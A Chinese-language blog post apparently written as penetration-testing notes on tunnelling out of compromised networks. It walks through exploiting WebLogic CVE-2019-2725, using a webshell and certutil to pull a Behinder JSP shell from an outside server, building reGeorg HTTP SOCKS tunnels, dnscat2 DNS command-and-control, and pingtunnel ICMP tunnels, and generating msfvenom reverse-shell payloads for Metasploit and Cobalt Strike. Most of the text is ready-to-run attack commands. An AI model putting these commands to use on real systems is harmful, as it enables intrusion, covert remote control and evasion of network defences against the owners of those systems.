HTTP/DNS/ICMP代理

发布于 2021-07-07  841 次阅读


一、HTTP代理-reGeorg

1.Weblogic

(1)Weblogic漏洞检测

python WeblogicScan.py -u 192.168.1.11 -p 7001

(2)CVE-2019-2725漏洞利用:

python weblogic-2019-2725.py 10.3.6 http://192.168.1.11:7001 whoami
python weblogic-2019-2725.py 10.3.6 http://192.168.1.11:7001

(3)利用小马下载大马:

http://192.168.78.95:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=cmd /c certutil.exe -urlcache -split -f http://8.131.57.209:8000/bx3.jsp C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\bx
3.jsp            (冰蝎生成的jsp大马,下载到指定目录)
冰蝎连接网址:http://192.168.1.11:7001/bea_wls_internal/bx3.jsp

2.HTTP代理-reGeorg

https://github.com/NoneNotNull/reGeorg   (其他人发现之后也可以使用)

reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。    

reGeorg支持ASPX,ASHX,PHP,JSP等WEB脚本,并特别提供了一个tomcat5版本。

python2 reGorgSocksProxy.py -u http://192.168.78.105:7001/_async/tunnel.t5.jsp -p 1080

3.HTTP代理-Neo-reGeorg

(1)https://github.com/L-codes/Neo-reGeorg   (增加了密码功能更安全)

重构 reGeorg 的项目,目的是:

  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 应对更多的网络环境场景

(2)设置密码生成tunnel.(aspx|ashx|jspx|php)并上传到目标服务器

python3 neoreg.py generate -k passwd      (-k指定密码)
[+] Mkdir a directory: neoreg_servers
[+] Create neoreg server files:
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel.php

(3)使用neoreg.py连接WEB服务器,在本地建立 socks 代理

python3 neoreg.py -k passwd -u http://192.168.78.105:7001/bea_wls_internal/passwd.jsp

二、DNS隧道-Dnscat2

1.dnscat2简介

https://github.com/iagox86/dnscat2

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell。

2.dnscat2两种模式

(1)直连模式

客户端直接向指定IP的恶意DNS服务器发起DNS解析请求。

(2)中继模式

像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

3.dnscat2服务端安装  (需要安装ruby,版本太高会报错,指定版本进行安装apt insttall ruby2.5)

apt install ruby ruby-dev git make g++ ruby-bundler    (安装ruby)
gem install bundler          (安装依赖包)
git clone https://github.com/iagox86/dnscat2.git  (下载项目)
cd dnscat2/server                            
bundle install (安装服务端相关依赖包)

4.dnscat2客户端编译  (上传到目标机器)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make      (进行客户端编译,需要make和g++环境)

make编译之后会在此目录下生成一个dnscat可执行二进制文件。

5.dnscat2直连模式

(1)启动服务端:

ruby ./dnscat2.rb      (会回显一个随机密钥)

(2)启动客户端:

./dnscat --dns server=8.131.57.209,port=53 --secret=0f69f5a5e89a18b0c47fe12ec6f1896aW    (密钥为上面生成的)

Linux systemd resolve占用53号端口的解决办法:https://www.itren.org/319.html

(3)服务端接收到会话

获取shell:
windows
session -i 1      (进入session1)
shell
session -i 2

(4)直连模式流量特征

tcpdump udp dst port 53     (使用tcpdump进行抓包)

6.dnscat2中继模式

(1)准备

  1. 一台公网C&C服务器
  2. 一个可配置解析的域名

(2)配置DNS域名解析

  1. 创建A记录,将自己的域名解析服务器(ns.fitar.top)指向云服务器(8.131.57.209)
  2. 创建NS记录,将子域名dnsch.fitar.top的DNS解析交给ns.fitar.top

(3)启动服务端

ruby ./dnscat2.rb dnsch.fitar.top --secret=timer    (自行指定域名和密钥)

(4)启动客户端

./dnscat --secret=timer dnsch.fitar.top

(5)服务端接收会话

(6)中继模式流量特征

tcpdump udp dst port 53

三、ICMP隧道-Pingtunnel

1.ICMP隧道作用

https://github.com/esrrhs/pingtunnel

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。

2.pingtunnel参数详解    (通过0和1调整)

3.ICMP隧道转发TCP上线MSF

(1)VPS启动ICMP隧道服务端

8.131.57.209,icmp服务端和msf服务都在此VPS上

./pingtunnel -type server

(2)靶机启动ICMP隧道客户端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 8.131.57.209 -t 8.131.57.209:7777 -tcp 1 -noprint 1 -nolog 1

ICMP客户端监听127.0.0.1:9999,通过连接到8.131.57.209的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到8.131.57.209:7777

(3)MSF生成反弹shell的payload(例子)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > 9999.exe    (将lhost设为目标本机的9999代理端口进行反弹shell)

上传到靶机:

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 7777

(4)执行payload反弹shell到MSF

4.ICMP隧道转发socks上线MSF

(1)VPS启动ICMP隧道服务端(8.131.57.209,icmp服务端和msf服务都在此VPS上)

./pingtunnel -type server

(2)靶机启动ICMP隧道客户端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 8.131.57.209 -sock5 1 -noprint 1 -nolog 1

ICMP隧道客户端监听127.0.0.1:9999启动socks5服务,通过连接到139.155.49.43的icmp隧道,由ICMPServer转发socks5代理请求到目的地址8.131.57.209:8899

(3)MSF生成支持socks5代理的反向payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=8.131.57.209 lport=8899 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8899.exe

(4)执行payload反弹shell到MSF

5.ICMP隧道转发TCP上线CS    

(1)VPS启动ICMP隧道服务端(139.155.49.43,icmp服务端和msf服务都在此VPS上)

./pingtunnel -type server

(2)靶机启动ICMP隧道客户端

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 8.131.57.209 -t 8.131.57.209:7777 -tcp 1 -noprint 1 -nolog 1

(3)CS创建listener(创建的listener与普通的不同)

https host和https port(c2)为icmp隧道客户端的监听ip和端口    (c2为客户端监听的端口)    

https port(bind)为转发目的地址的端口        (bind为服务器监听等待cs上线的端口)

(4)生成反向payload的beacon

(5)执行payload反弹shell到CS


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。